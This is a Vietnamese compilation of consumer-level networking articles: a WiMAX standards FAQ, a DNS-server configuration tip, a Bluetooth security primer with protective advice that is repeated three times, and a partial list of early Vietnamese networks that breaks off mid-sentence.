IEEE thông qua chuẩn 802.16 ban đầu cho mạng MAN vô tuyến trong dải tần từ 10 – 66GHz vào tháng 12/2001. 802.16a mở rộng cho dải tần số 11 GHz được thông qua tháng 1/2003. Chuẩn 802.16-2004 được IEEE thông qua tháng 6/2004. Chuẩn 802.16e được thông qua tháng 12/2005. Diễn đàn WiMAX sẽ bắt đầu quá trình chứng nhận thiết bị ban đầu trong các băng tần 3.3 đến 3.8 GHz và 5.7 đến 5.8 GHz. Những mô tả này bao gồm cả các hệ thống song công phân chia theo thời gian (TDD) và song công phân chia theo tần số (FDD). Diễn đàn WiMAX đã xây dựng các mô tả hệ thống tập trung vào băng tần được miễn cấp phép 5.8GHz, và các băng tần được cấp phép là 2.5 và 3.5 GHz để khởi động thị trường. Diễn đàn WiMAX đã kết hợp với các nhà cung cấp dịch vụ và các nhà sản xuất thiết bị để mở rộng sự phân bổ tần số để bao phủ tất cả các dải phổ chủ chốt mà tất cả các công ty thành viên xác định là hấp dẫn đối với các nhà cung cấp dịch vụ WiMAX tiềm năng. Các thiết bị ban đầu được Diễn đàn WiMAX phê chuẩn sẽ ở trong băng tần 3.5GHz, sau đó là 5.8GHz.

WiMAX có cạnh tranh với Wi-Fi?

WiMAX và Wi-Fi sẽ cùng tồn tại và trở thành những công nghệ bổ sung ngày càng lớn cho cácứng dụng riêng. Đặc trưng của WiMAX là không thay thế Wi-Fi. Hơn thế WiMAX bổ sung cho Wi-Fi bằng cách mở rộng phạm vi của Wi-Fi và mang lại những thực tế của người sử dụng "kiểu Wi-Fi" trên một quy mô địa lý rộng hơn. Công nghệ Wi-Fi được thiết kế và tối ưu cho các mạng nội bộ (LAN), trong khi WiMAX được thiết kế và tối ưu cho các mạng thành phố (MAN). Trong khoảng thời gian từ 2006 - 2008, hy vọng cả 802.16 và 802.11 sẽ xuất hiện trong các thiết bị người sử dụng từ laptop tới các PDA, cả 2 chuẩn này cho phép kết nối vô tuyến trực tiếp tới người sử dụng - tại gia đình, trong văn phòng và khi đang di chuyển.

WiMAX có cạnh tranh với HiperMAN của ETSI?

Các chuẩn 802.16-2004 (256 OFDM PHY) của IEEE và HiperMAN của ETSI sẽ chia sẻ chung các đặc tính kỹ thuật PHY và MAC. Diễn đàn WiMAX hoạt động ở cả hai tổ chức tiêu chuẩn này để đảm bảo một chuẩn toàn cầu chung cho MAN vô tuyến, sẽ được chấp nhận.

802.16 khác với 802.20 ở điểm nào?

802.16 và 802.20 của IEEE là hai mục tiêu công nghệ khác nhau tập trung vào các thị trường riêng biệt. Tuy nhiên, 802.20 vẫn đang ở trong những giai đoạn đầu tiên của việc xây dựng chuẩn và chưa thể hoàn tất trong hai năm tới. Và bởi vì 802.20 hiện nay chưa được sự hỗ trợ rộng rãi của ngành Viễn thông như là Diễn đàn WiMAX với hơn 350 thành viên, tương thích cũng còn là vấn đề và như vậy nó vẫn còn khá xa vời.

Những ứng dụng nào dành cho công nghệ WiMAX?

Công nghệ WiMAX là giải pháp cho nhiều loại ứng dụng băng rộng tốc độ cao cùng thời điểm với khoảng cách xa và cho phép các nhà khai thác dịch vụ hội tụ tất cả trên mạng IP để cung cấp các dịch vụ "3 cung": dữ liệu, thoại và video.

WiMAX với sự hỗ trợ QoS, khả năng vươn dài và công suất dữ liệu cao được dành cho các ứng dụng truy cập băng rộng cố định ở những vùng xa xôi, hẻo lánh, nhất là khikhoảng cách là quá lớn đối với DS: và cáp cũng như cho các khu vực thành thị ở các nước đang phát triển. Những ứng dụng cho hộ dân gồm có Internet tốc độ cao, thoại qua IP, video luồng/chơi game trực tuyến cùng với các ứng dụng cộng thêm cho doanh nghiệp như hội nghị video và giám sát video, mạng riêng ảo bảo mật (yêu cầu an ninh cao). Công nghệ WiMAX cho phép bao trùm các ứng dụng với yêu cầu băng thông rộng hơn.

WiMAX cũng cho phép các ứng dụng truy cập xách tay, với sự hợp nhất trong các máy tínhxách tay và PDA, cho phép các khu vực nội thị và thành phổ trở thành những "khu vực diện rộng" nghĩa là có thể truy cập vô tuyến băng rộng ngoài trời. Do vậy, WiMAX là một công nghệ bổ sung bình thường cho các mạng di động vì cung cấp băng thông lớn hơn và cho các mạng Wi-Fi nhờ cung cấp kết nối băng rộng ở các khu vực lớn hơn.

Tại sao WiMAX lại cần thiết? Tại sao WiMAX lại quan trọng cho vô tuyến băng rộng cố định và vô tuyến băng rộng di động?

WiMAX cần thiết vì là một công nghệ độc lập cho phép truy cập băng rộng cố định và di động.

Chuẩn WiMAX là cần thiết để đạt mục tiêu chi phí thấp hơn. Đây là điều mà các giải pháp vô tuyến độc quyền không thể đạt được do những hạn chế về số lượng. Các giải pháp WiMAX có khả năng tương thích cho phép giảm bớt chi phí sản xuất nhờ việc tích hợp các chip chuẩn, làm cho các sản phẩm được Diễn đàn WiMAX chứng nhận có chi phí hợp lý để cung cấp các dịch vụ băng rộng công suất cao ở những khoảng cách bao phủ lớn trong các môi trường Tầm nhìn thẳng (LOS) và không theo tầm nhìn thẳng (NLOS). Đây là điều khả thi đối với WiMAX nhờ có sự hỗ trợ mạnh mẽ của ngành công nghiệp thông qua Diễn đàn WiMAX với hơn 350 thành viên bao gồm các nhà cung cấp thiết bị, các nhà sản xuất chip và các nhà cung cấp dịch vụ hàng đầu.

WiMAX quan trọng vô tuyến băng rộng cố định để cung cấp truy cập băng rộng cần thiết tới các doanh nghiệp và người sử dụng là hộ gia đình như là một sự thay thế cho các dịch vụ cáp và DSL đặc biệt là khi truy cập tới cáp đồng là rất khó khăn.

WiMAX quan trọng trong vô tuyến băng rộng di động, vì nó bổ sung trọn vẹn cho 3G vì hiệu suất truyền dữ liệu luồng xuống cao hơn 1Mbit/s, cho phép kết nối các máy laptop và PDA và bổ sung cho Wi-Fi nhờ độ bao phủ rộng hơn.

Những cơ sở quan trọng của công nghệ WiMAX?

Cơ sở quan trọng của công nghệ WiMAX là sự tương thích của thiết bị WiMAX, được Diễn đàn WiMAX chứng nhận, tạo sự tin cậy và làm tăng số lượng lớn cho nhà cung cấp dịch vụ khi mua thiết bị không chỉ từ 1 công ty và tất cả đều tương thích với nhau. Diễn đàn WiMAX lần đầu tiên tụ họp những công ty hàng đầu trong ngành truyền thông và máy tính để tạo nên một nền tảng chung cho việc triển khai các dịch vụ vô tuyến băng rộng IP trên toàn cầu.

Các cơ sở quan trọng khác là chi phí, độ bao phủ, công suất và chuẩn cho cả truy cập vô tuyến cố định và di động.

Chi phí thấp hơn

CPE vô tuyến cố định có thể sử dụng cùng loại chipset modem được sử dụng trong máy tính cá nhân (PC) và PDA, vì ở khoảng cách gần các modem có thể tự lắp đặt trong nhà CPE sẽ tương tự như cáp, DSL và các trạm gốc có thể sử dụng cùng loại chipset chung được thiết kế cho các điểm truy cập WiMAX chi phí thấp và cuối cùng là số lượng tăng cũng thỏa mãn cho việc đầu tư vào việc tích hợp mức độ cao hơn các chipset tần số vô tuyến (RF), làm chi phí giảm hơn nữa.

Độ bao phủ rộng hơn

Công nghệ sau WiMAX đã được tối ưu để mang đến độ bao phủ NLOS tốt nhất. Các ưu điểm của NLOS là độ bao phủ trên diện rộng, khả năng dự báo độ bao phủ tốt hơn và chi phí thấp hơn có nghĩa là số trạm gốc và backhaul ít hơn, định cỡ RF đơn giản, các thời điểm lắp đặt tháp ngắn hơn và lắp đặt CPE nhanh hơn.

Nhờ có các kỹ thuật cải tiến độ bao phủ NLOS như phân tập, mã hóa thời gian không gian và yêu cầu truyền lại tự động (Automatic Retransmission Request - ARQ), các khoảng cách bao phủ sẽ được tăng lên.

Công suất cao hơn

Ưu điểm quan trọng của WiMAX là sử dụng kỹ thuật OFDM (Orthogonal Frequency Division Multiplexing) qua các cơ chế điều chế đơn sóng mang với khả năng cung cấp hiệu suất băng thông cao hơn và do đó thông lượng dữ liệu cao hơn với luồng xuống hơn 1Mbit/s và thậm chí các tốc độ dữ liệu cao hơn nhiều dù trong NLOS với các điều kiện đa đường. Điều chế thích ứng (Adaptive Modulation) cũng làm tăng độ tin cậy đường kết nối đối với hoạt động phân loại sóng mang và khả năng giữ điều chế 64QAM ở khoảng cách rộng hơn, tăng công suất qua các khoảng cách dài hơn.

Chuẩn cho truy cập vô tuyến cố định và di động

WiMAX sẽ trở thành một giải pháp chi phí hợp lý nhất cho các nhà khai thác triển khai các ứng dụng vô tuyến cố định và di động cho các máy xách tay và PDA.

Diễn đàn WiMAX sẽ chứng nhận các sản phẩm tuân thủ và tương thích dựa trên các chuẩn 802.16 của IEEE và HiperMAN của ETSI.

Cuối cùng một hệ thống quản lý mạng đủ khả năng quản lý các mô tả QoS để cấu trúc các gọi dịch vụ bổ sung các thành phần quan trọng này.

OFDM là gì?

OFDM là một công nghệ điều chế và mã hóa số, đã được sử dụng thành công trong các ứng dụng hữu tuyến như modem DSL và modem cáp. Các sản phẩm của các công ty thành viên Diễn đàn WiMAX đang sử dụng các hệ thống 802.16 dựa trên OFDM để vượt qua những thách thức của việc truyền sóng NLOS.

OFDM đạt đến tốc độ và hiệu quả dữ liệu cao nhờ sử dụng nhân chồng các tín hiệu sóng mang thay cho chỉ một tín hiệu. Ưu điểm quan trọng của OFDM của các cơ chế điều chế đơn sóng mang đơn là khả năng mang lại hiệu suất băng thông cao hơn và do đó thông lượng dữ liệu sẽ cao hơn thậm chí phải đối mặt thách thức với kịch bản triển khai chẳng hạn như các đường kết nối NLOS phải chịu suy hao đáng kể do các điều kiện đa đường.

Lớp vật lý WiMAX (802.16/HiperMAN OFDM PHY) là gì?

Lớp vật lý (PHY) được 802.16 định nghĩa có ba biến thể: Sóng mang đơn, OFDM 256 và OFDMA 2048. Lớp vật lý OFDM 256 được Diễn đàn WiMAX lựa chọn cho các mô tả đầu tiên dựa trên 802.16-2004 (trước đây là 802.16REVd).

Lớp kiểm soát truy cập (MAC) WiMAX là gì?

Chuẩn 802.16 của IEEE đưa ra cùng một lớp MAC cho tất cả lớp PHY (đơn sóng mang, 256 OFDM, 2048 OFDMA). Lớp MAC này là kết nối được định hướng và chuẩn bị cho kết nối TDM đường kết hợp với truy cập TDMA ở đường lên.

Chuẩn này định nghĩa là hỗ trợ cho cả TDD và FDD và cho phép phương thức bán song công FDD (HD-FDD). TDD là một kỹ thuật mà ở đó hệ thống phát và nhận ở cùng kênh gán các khe thời gian cho phương thức phát và nhận. FDD yêu cầu hai phổ tần riêng rẽ.

Các sản phẩm được Diễn đàn WiMAX có lợi như thế nào đối với doanh nghiệp? và người sử dụng hộ gia đình?

Đối với các doanh nghiệp, WiMAX cho phép truy cập băng rộng với chi phí hợp lý. Vì phần lớn các doanh nghiệp sẽ không được chia thành khu vực để có đường cáp, lựa chọn duy nhất của họ đối với dịch vụ băng rộng là từ các nhà cung cấp viễn thông địa phương. Điều này dẫn tới sự độc quyền. Các doanh nghiệp sẽ được hưởng lợi từ việc triển khai các hệ thống WiMAX chứng nhận nhờ tạo ra sự cạnh tranh mới trên thị trường, giảm giá và cho phép các doanh nghiệp thiết lập mạng riêng của mình. Điều này đặc biệt phù hợp đối với các ngành như khí đốt, mỏ, nông nghiệp, vận tải, xây dựng và các ngành khác nằm ở những vị trí xa xôi, hẻo lánh.

Đối với người sử dụng là hộ gia đình ở những vùng nông thôn (nơi dịch vụ DSL và cáp chưa thể vươn tới), WiMAX mang lại khả năng truy cập băng rộng. Điều này đặc biệt phù hợp ở các nước đang phát triển nơi mà hạ tầng viễn thông truyền thống vẫn chưa thể tiếp cận.

Cau hinh dich vu DNS

TTM - Khi kết nối Internet, tất cả mọi dấu hiệu cho thấy cuộc kết nối suôn sẻ. Thế nhưng, sau khi đã gõ địa chỉ website vào trình duyệt rồi mà đợi mãi vẫn chẳng thấy website hiện ra.


Thanh Status (màu xanh lục) trên IE cũng không thấy xuất hiện. Kiểm tra lại mọi thứ thì vẫn thấy bình thường... Mãi một lúc lâu sau mới thấy trình duyệt thông báo Connecting to 64.128.xxx.xxx rồi sau đó vào website bình thường. Nhưng mỗi lần click vào link nào trên trang thì vẫn lặp lại tình trạng cũ.

DNS, Domain Name Server, hay còn gọi là máy chủ tên miền - là một trong những khâu vô cùng quan trọng trong tiến trình duyệt web của bạn.

Mỗi máy tính trên Internet được đánh dấu bằng một địa chỉ IP, là một mớ số. Tuy nhiên, không thể bắt người dùng nhớ cái mớ số đó, nhất là trong tương lai địa chỉ IP sẽ dài gấp bốn lần địa chỉ IP hiện nay (IPV6, 128 bits).

DNS chính là là giải pháp. Thay vì bắt con người nhớ số, mỗi số IP sẽ được đổi thành chữ và DNS có nhiệm vụ đổi chữ thành số tương ứng khi có yêu cầu.

Địa chỉ của DNS thường được cung cấp tự động trực tiếp mỗi khi bạn thiết lập kết nối với ISP (nhà cung cấp dịch vụ Internet). Ở VN, mỗi ISP thường có hai hoặc nhiều DNS để phục vụ số lượng khách hàng của mình.

Thế nhưng thường cũng không đủ dùng. Vì vậy không ai cấm việc xài dịch vụ của ISP này nhưng thiết lập DNS của ISP khác, hoặc một DNS nào đó tốt hơn trong các giờ cao điểm.

Thao tác thay DNS cũng rất dễ dàng. Bạn mở cửa sổ Properties để vào Internet Protocol (TCP/IP) Properties. Nếu bạn dùng mặc định DNS do ISP cung cấp thì chọn “Obtain DNS server address automatically”.

Nếu muốn dùng DNS theo ý mình thì chọn dòng “Use the following DNS server addresses”, sau đó điền địa chỉ IP của DNS vào hai dòng bên dưới. Preferrer DNS server là địa chỉ được trình duyệt tìm đến đầu tiên. Alternate DNS server dành cho server dự phòng, trong trường hợp server đầu tiên quá bận. chính là tên của kết nối Internet của bạn.

Bluetooth

Tìm hiểu về công nghệ Bluetooth

Ngày nay, rất nhiều thiết bị được kết hợp chặt chẽ với công nghệ Bluetooth để cho phép truyền thông không dây với các thiết bị Bluetooth khác. Trước khi sử dụng Bluetooth, chúng ta nên tìm hiểu xem công nghệ này là gì và những rủi ro về bảo mật có thể xảy ra với nó, cũng như các biện pháp để tránh hay bảo vệ bạn khỏi các rủi ro này.

Bluetooth là gì?

Bluetooth là một công nghệ cho phép truyền thông giữa các thiết bị với nhau mà không cần cáp và dây dẫn. Nó là một chuẩn điện tử, điều đó có nghĩa là các hãng sản xuất muốn có đặc tính này trong sản phẩm thì họ phải tuân theo các yêu cầu của chuẩn này đối cho sản phẩm của mình. Những chỉ tiêu kỹ thuật này bảo đảm cho các thiết bị có thể nhận ra và tương tác với nhau khi sử dụng công nghệ Bluetooth.

Ngày nay phần lớn các nhà máy đều sản xuất các thiết bị có sử dụng công nghệ Bluetooth. Các thiết bị này gồm có điện thoại di động, máy tính và thiết bị hỗ trợ cá nhân (Personal Digital Assistant - PDA). Công nghệ Bluetooth là một công nghệ dựa trên tần số vô tuyến và bất cứ một thiết bị nào có tích hợp bên trong công nghệ này đều có thể truyền thông với các thiết bị khác với một khoảng cách nhất định về cự li để đảm bảo công suất cho việc phát và nhận sóng. Công nghệ này thường được sử dụng để truyền thông giữa hai loại thiết bị khác nhau. Ví dụ: Bạn có thể hoạt động trên máy tính với một bàn phím không dây, sử dụng bộ tai nghe không dây để nói chuyện trên điện thoại di động của bạn hoặc bổ sung thêm một cuộc hẹn vào lịch biểu PDA của một người bạn từ PDA của bạn.

Vậy vấn đề bảo mật liên quan đến công nghệ này là gì?

Phụ thuộc vào cách nó được cấu hình. Công nghệ Bluetooth có thể khá an toàn. Bạn có thể thấy được nhiều ưu điểm của nó trong việc sử dụng xác nhận key và mã hóa. Nhưng tuy nhiên, nhiều thiết bị Bluetooth có số lượng ngắn các chữ số sử dụng trong mã PIN và điều này có thể gây nguy hiểm cho các thiết bị này.

Nếu ai đó có thể “phát hiện ra” thiết bị Bluetooth của bạn, thì người này hoàn toàn có khả năng gửi các tin nhắn không yêu cầu đến và lạm dụng dịch vụ Bluetooth của bạn, điều đó có thể gây ra nhiều vấn đề rắc rối. Điều tồi tệ hơn cả là một kẻ lạ mặt có thể tìm được cách để xâm nhập hay sửa đổi dữ liệu của bạn. Một ví dụ về loại hình tấn công kiểu này: một kẻ tấn công có thể sử dụng kết nối Bluetooth để cuỗm đi thông tin quan trọng từ thiết bị của bạn. Các virus hoặc các mã nguy hiểm khác cũng có thể lợi dụng công nghệ này để làm hại thiết bị. Nếu đã bị xâm nhập, dữ liệu của bạn có thể sẽ bị sửa đổi, làm tổn hại hay bị đánh cắp hoặc mất. Bạn nên biết rõ về người mà bạn gửi thông tin đến trên một kết nối Bluetooth không tin tưởng.

Vậy là thế nào để bảo vệ?

• Vô hiệu hóa Bluetooth khi không sử dụng chúng – Trừ khi bạn kích hoạt việc truyền tải thông tin từ thiết bị này đến một thiết bị khác, nếu không bạn nên vô hiệu hóa công nghệ này để tránh những người không hợp lệ có thể xâm nhập.

• Sử dụng Bluetooth trong chế độ ẩn – Khi kích hoạt Bluetooth, hãy đặt nó trong trang thái ẩn “không thể phát hiện”. Chế độ ẩn nhằm ngăn chặn các thiết bị Bluetooth khác nhận ra thiết bị của bạn. Điều này không ngăn cản bạn kết nối đến các thiết bị Bluetooth khác. Thậm chí cả hai thiết bị cũng có thể nhận ra nhau để kết nối nếu chúng cùng trong chế độ ẩn. Các thiết bị như điện thoại di động và tai nghe không dây cần phải đặt trong chế độ “không phát hiện” kết nối ban đầu thì chúng luôn nhận ra thiết bị kia mà không cần tìm kiếm lại kết nối nữa cho lần tiếp theo.

• Cẩn thận với những nơi bạn sử dụng Bluetooth – Bạn cần phải quan tâm đến môi trường khi ghép đôi thiết bị của bạn hoặc hoạt động trong chế độ có thể phát hiện. Lấy một ví dụ cụ thể: Nếu bạn đang trong một địa điểm công cộng “hot spot”, chắc chắn sẽ có nhiều rủi ro về trường hợp có ai đó chặn kết nối của bạn hơn là bạn kết nối trong nhà hoặc trong xe ô tô.

• Đánh giá các thiết lập bảo mật của bạn – Hầu hết các thiết bị đều có nhiều đặc tính giúp bạn trang bị cần thiết cho bản thân. Tuy vậy, việc kích hoạt một số tính năng cụ thể có thể mang lại cho bạn nhiều nguy cơ bị tấn công. Vì vậy, vô hiệu hóa bất kỳ tính năng hoặc các kết nối không cần thiết nào có thể. Kiểm tra các thiết lập, thiết lập bảo mật đặc biệt và lựa chọn các tùy chọn cần thiết đối với bạn mà không gây ra mức rủi ro cao cho bạn. Phải bảo đảm rằng tất cả các kết nối Bluetooth của bạn đều được cấu hình với yêu cầu cần thiết về bảo mật.

• Khai thác triệt để các tùy chọn bảo mật – Tìm hiểu kỹ về các tùy chọn bảo mật mà thiết bị Bluetooth của bạn có thể cung cấp, từ đó khai thác triệt để những tính năng tác dụng của chúng như sự mã hóa và thẩm định.

Bluetooth

Tìm hiểu về công nghệ Bluetooth

Ngày nay, rất nhiều thiết bị được kết hợp chặt chẽ với công nghệ Bluetooth để cho phép truyền thông không dây với các thiết bị Bluetooth khác. Trước khi sử dụng Bluetooth, chúng ta nên tìm hiểu xem công nghệ này là gì và những rủi ro về bảo mật có thể xảy ra với nó, cũng như các biện pháp để tránh hay bảo vệ bạn khỏi các rủi ro này.

Bluetooth là gì?

Bluetooth là một công nghệ cho phép truyền thông giữa các thiết bị với nhau mà không cần cáp và dây dẫn. Nó là một chuẩn điện tử, điều đó có nghĩa là các hãng sản xuất muốn có đặc tính này trong sản phẩm thì họ phải tuân theo các yêu cầu của chuẩn này đối cho sản phẩm của mình. Những chỉ tiêu kỹ thuật này bảo đảm cho các thiết bị có thể nhận ra và tương tác với nhau khi sử dụng công nghệ Bluetooth.

Ngày nay phần lớn các nhà máy đều sản xuất các thiết bị có sử dụng công nghệ Bluetooth. Các thiết bị này gồm có điện thoại di động, máy tính và thiết bị hỗ trợ cá nhân (Personal Digital Assistant - PDA). Công nghệ Bluetooth là một công nghệ dựa trên tần số vô tuyến và bất cứ một thiết bị nào có tích hợp bên trong công nghệ này đều có thể truyền thông với các thiết bị khác với một khoảng cách nhất định về cự li để đảm bảo công suất cho việc phát và nhận sóng. Công nghệ này thường được sử dụng để truyền thông giữa hai loại thiết bị khác nhau. Ví dụ: Bạn có thể hoạt động trên máy tính với một bàn phím không dây, sử dụng bộ tai nghe không dây để nói chuyện trên điện thoại di động của bạn hoặc bổ sung thêm một cuộc hẹn vào lịch biểu PDA của một người bạn từ PDA của bạn.

Vậy vấn đề bảo mật liên quan đến công nghệ này là gì?

Phụ thuộc vào cách nó được cấu hình. Công nghệ Bluetooth có thể khá an toàn. Bạn có thể thấy được nhiều ưu điểm của nó trong việc sử dụng xác nhận key và mã hóa. Nhưng tuy nhiên, nhiều thiết bị Bluetooth có số lượng ngắn các chữ số sử dụng trong mã PIN và điều này có thể gây nguy hiểm cho các thiết bị này.

Nếu ai đó có thể “phát hiện ra” thiết bị Bluetooth của bạn, thì người này hoàn toàn có khả năng gửi các tin nhắn không yêu cầu đến và lạm dụng dịch vụ Bluetooth của bạn, điều đó có thể gây ra nhiều vấn đề rắc rối. Điều tồi tệ hơn cả là một kẻ lạ mặt có thể tìm được cách để xâm nhập hay sửa đổi dữ liệu của bạn. Một ví dụ về loại hình tấn công kiểu này: một kẻ tấn công có thể sử dụng kết nối Bluetooth để cuỗm đi thông tin quan trọng từ thiết bị của bạn. Các virus hoặc các mã nguy hiểm khác cũng có thể lợi dụng công nghệ này để làm hại thiết bị. Nếu đã bị xâm nhập, dữ liệu của bạn có thể sẽ bị sửa đổi, làm tổn hại hay bị đánh cắp hoặc mất. Bạn nên biết rõ về người mà bạn gửi thông tin đến trên một kết nối Bluetooth không tin tưởng.

Vậy là thế nào để bảo vệ?

• Vô hiệu hóa Bluetooth khi không sử dụng chúng – Trừ khi bạn kích hoạt việc truyền tải thông tin từ thiết bị này đến một thiết bị khác, nếu không bạn nên vô hiệu hóa công nghệ này để tránh những người không hợp lệ có thể xâm nhập.

• Sử dụng Bluetooth trong chế độ ẩn – Khi kích hoạt Bluetooth, hãy đặt nó trong trang thái ẩn “không thể phát hiện”. Chế độ ẩn nhằm ngăn chặn các thiết bị Bluetooth khác nhận ra thiết bị của bạn. Điều này không ngăn cản bạn kết nối đến các thiết bị Bluetooth khác. Thậm chí cả hai thiết bị cũng có thể nhận ra nhau để kết nối nếu chúng cùng trong chế độ ẩn. Các thiết bị như điện thoại di động và tai nghe không dây cần phải đặt trong chế độ “không phát hiện” kết nối ban đầu thì chúng luôn nhận ra thiết bị kia mà không cần tìm kiếm lại kết nối nữa cho lần tiếp theo.

• Cẩn thận với những nơi bạn sử dụng Bluetooth – Bạn cần phải quan tâm đến môi trường khi ghép đôi thiết bị của bạn hoặc hoạt động trong chế độ có thể phát hiện. Lấy một ví dụ cụ thể: Nếu bạn đang trong một địa điểm công cộng “hot spot”, chắc chắn sẽ có nhiều rủi ro về trường hợp có ai đó chặn kết nối của bạn hơn là bạn kết nối trong nhà hoặc trong xe ô tô.

• Đánh giá các thiết lập bảo mật của bạn – Hầu hết các thiết bị đều có nhiều đặc tính giúp bạn trang bị cần thiết cho bản thân. Tuy vậy, việc kích hoạt một số tính năng cụ thể có thể mang lại cho bạn nhiều nguy cơ bị tấn công. Vì vậy, vô hiệu hóa bất kỳ tính năng hoặc các kết nối không cần thiết nào có thể. Kiểm tra các thiết lập, thiết lập bảo mật đặc biệt và lựa chọn các tùy chọn cần thiết đối với bạn mà không gây ra mức rủi ro cao cho bạn. Phải bảo đảm rằng tất cả các kết nối Bluetooth của bạn đều được cấu hình với yêu cầu cần thiết về bảo mật.

• Khai thác triệt để các tùy chọn bảo mật – Tìm hiểu kỹ về các tùy chọn bảo mật mà thiết bị Bluetooth của bạn có thể cung cấp, từ đó khai thác triệt để những tính năng tác dụng của chúng như sự mã hóa và thẩm định.

Bluetooth

Tìm hiểu về công nghệ Bluetooth

Ngày nay, rất nhiều thiết bị được kết hợp chặt chẽ với công nghệ Bluetooth để cho phép truyền thông không dây với các thiết bị Bluetooth khác. Trước khi sử dụng Bluetooth, chúng ta nên tìm hiểu xem công nghệ này là gì và những rủi ro về bảo mật có thể xảy ra với nó, cũng như các biện pháp để tránh hay bảo vệ bạn khỏi các rủi ro này.

Bluetooth là gì?

Bluetooth là một công nghệ cho phép truyền thông giữa các thiết bị với nhau mà không cần cáp và dây dẫn. Nó là một chuẩn điện tử, điều đó có nghĩa là các hãng sản xuất muốn có đặc tính này trong sản phẩm thì họ phải tuân theo các yêu cầu của chuẩn này đối cho sản phẩm của mình. Những chỉ tiêu kỹ thuật này bảo đảm cho các thiết bị có thể nhận ra và tương tác với nhau khi sử dụng công nghệ Bluetooth.

Ngày nay phần lớn các nhà máy đều sản xuất các thiết bị có sử dụng công nghệ Bluetooth. Các thiết bị này gồm có điện thoại di động, máy tính và thiết bị hỗ trợ cá nhân (Personal Digital Assistant - PDA). Công nghệ Bluetooth là một công nghệ dựa trên tần số vô tuyến và bất cứ một thiết bị nào có tích hợp bên trong công nghệ này đều có thể truyền thông với các thiết bị khác với một khoảng cách nhất định về cự li để đảm bảo công suất cho việc phát và nhận sóng. Công nghệ này thường được sử dụng để truyền thông giữa hai loại thiết bị khác nhau. Ví dụ: Bạn có thể hoạt động trên máy tính với một bàn phím không dây, sử dụng bộ tai nghe không dây để nói chuyện trên điện thoại di động của bạn hoặc bổ sung thêm một cuộc hẹn vào lịch biểu PDA của một người bạn từ PDA của bạn.

Vậy vấn đề bảo mật liên quan đến công nghệ này là gì?

Phụ thuộc vào cách nó được cấu hình. Công nghệ Bluetooth có thể khá an toàn. Bạn có thể thấy được nhiều ưu điểm của nó trong việc sử dụng xác nhận key và mã hóa. Nhưng tuy nhiên, nhiều thiết bị Bluetooth có số lượng ngắn các chữ số sử dụng trong mã PIN và điều này có thể gây nguy hiểm cho các thiết bị này.

Nếu ai đó có thể “phát hiện ra” thiết bị Bluetooth của bạn, thì người này hoàn toàn có khả năng gửi các tin nhắn không yêu cầu đến và lạm dụng dịch vụ Bluetooth của bạn, điều đó có thể gây ra nhiều vấn đề rắc rối. Điều tồi tệ hơn cả là một kẻ lạ mặt có thể tìm được cách để xâm nhập hay sửa đổi dữ liệu của bạn. Một ví dụ về loại hình tấn công kiểu này: một kẻ tấn công có thể sử dụng kết nối Bluetooth để cuỗm đi thông tin quan trọng từ thiết bị của bạn. Các virus hoặc các mã nguy hiểm khác cũng có thể lợi dụng công nghệ này để làm hại thiết bị. Nếu đã bị xâm nhập, dữ liệu của bạn có thể sẽ bị sửa đổi, làm tổn hại hay bị đánh cắp hoặc mất. Bạn nên biết rõ về người mà bạn gửi thông tin đến trên một kết nối Bluetooth không tin tưởng.

Vậy là thế nào để bảo vệ?

• Vô hiệu hóa Bluetooth khi không sử dụng chúng – Trừ khi bạn kích hoạt việc truyền tải thông tin từ thiết bị này đến một thiết bị khác, nếu không bạn nên vô hiệu hóa công nghệ này để tránh những người không hợp lệ có thể xâm nhập.

• Sử dụng Bluetooth trong chế độ ẩn – Khi kích hoạt Bluetooth, hãy đặt nó trong trang thái ẩn “không thể phát hiện”. Chế độ ẩn nhằm ngăn chặn các thiết bị Bluetooth khác nhận ra thiết bị của bạn. Điều này không ngăn cản bạn kết nối đến các thiết bị Bluetooth khác. Thậm chí cả hai thiết bị cũng có thể nhận ra nhau để kết nối nếu chúng cùng trong chế độ ẩn. Các thiết bị như điện thoại di động và tai nghe không dây cần phải đặt trong chế độ “không phát hiện” kết nối ban đầu thì chúng luôn nhận ra thiết bị kia mà không cần tìm kiếm lại kết nối nữa cho lần tiếp theo.

• Cẩn thận với những nơi bạn sử dụng Bluetooth – Bạn cần phải quan tâm đến môi trường khi ghép đôi thiết bị của bạn hoặc hoạt động trong chế độ có thể phát hiện. Lấy một ví dụ cụ thể: Nếu bạn đang trong một địa điểm công cộng “hot spot”, chắc chắn sẽ có nhiều rủi ro về trường hợp có ai đó chặn kết nối của bạn hơn là bạn kết nối trong nhà hoặc trong xe ô tô.

• Đánh giá các thiết lập bảo mật của bạn – Hầu hết các thiết bị đều có nhiều đặc tính giúp bạn trang bị cần thiết cho bản thân. Tuy vậy, việc kích hoạt một số tính năng cụ thể có thể mang lại cho bạn nhiều nguy cơ bị tấn công. Vì vậy, vô hiệu hóa bất kỳ tính năng hoặc các kết nối không cần thiết nào có thể. Kiểm tra các thiết lập, thiết lập bảo mật đặc biệt và lựa chọn các tùy chọn cần thiết đối với bạn mà không gây ra mức rủi ro cao cho bạn. Phải bảo đảm rằng tất cả các kết nối Bluetooth của bạn đều được cấu hình với yêu cầu cần thiết về bảo mật.

• Khai thác triệt để các tùy chọn bảo mật – Tìm hiểu kỹ về các tùy chọn bảo mật mà thiết bị Bluetooth của bạn có thể cung cấp, từ đó khai thác triệt để những tính năng tác dụng của chúng như sự mã hóa và thẩm định.

Mang VN

CO BAO NHIEU MANG O VN ?


* Mang VARENet phuc vu khoang 300 co quan nghien cuu khoa hoc,
giao duc va mot so truong dai hoc.
* Mang NetNAM co khoang 1.000 don vi su dung, chu yeu la cac
cong ty nuoc ngoai va cac to chuc phi chinh phu dong tai VN.
Hai mang tren do Vien Cong nghe thong tin to chuc, voi dich vu
chu yeu la phi dien thu dien tu, dung giao thuc truyen UUCP, noi
vao Intemet qua cong vao cua Dai Hoc Quoc Gia Uc.


* Mang TOOLNet do to chuc chuyen giao cong nghe Tool - Ha Lan
thiet ke cho cac nuoc dang phat trien, co noi vao Intemet va dung
giao thuc UUCP.
TOOLNet o VN dat tai trung tam Thong tin tu lieu khoa hoc cong
nghe quoc gia, co khoang 200 don vi su dung.


* Mang TNet do Lien Hiep Khoa Hoc cong nghe phan mem (CSE) thiet
ke theo tieu chuan va giao thuc rieng, noi vao Internet qua ngo
Thai Lan, phuc vu hep trong gioi nghien cuu khoa hoc.
Tu nen tang cong nghe cua TNet, da xuat hien cac mang mien rong
thuoc cac nganh nhu PostNet (Tong cong ty Buu chinh VN), VBANet (he
thong ngan hang Nong nghiep), EVANet (truc xuong song thong tin cua
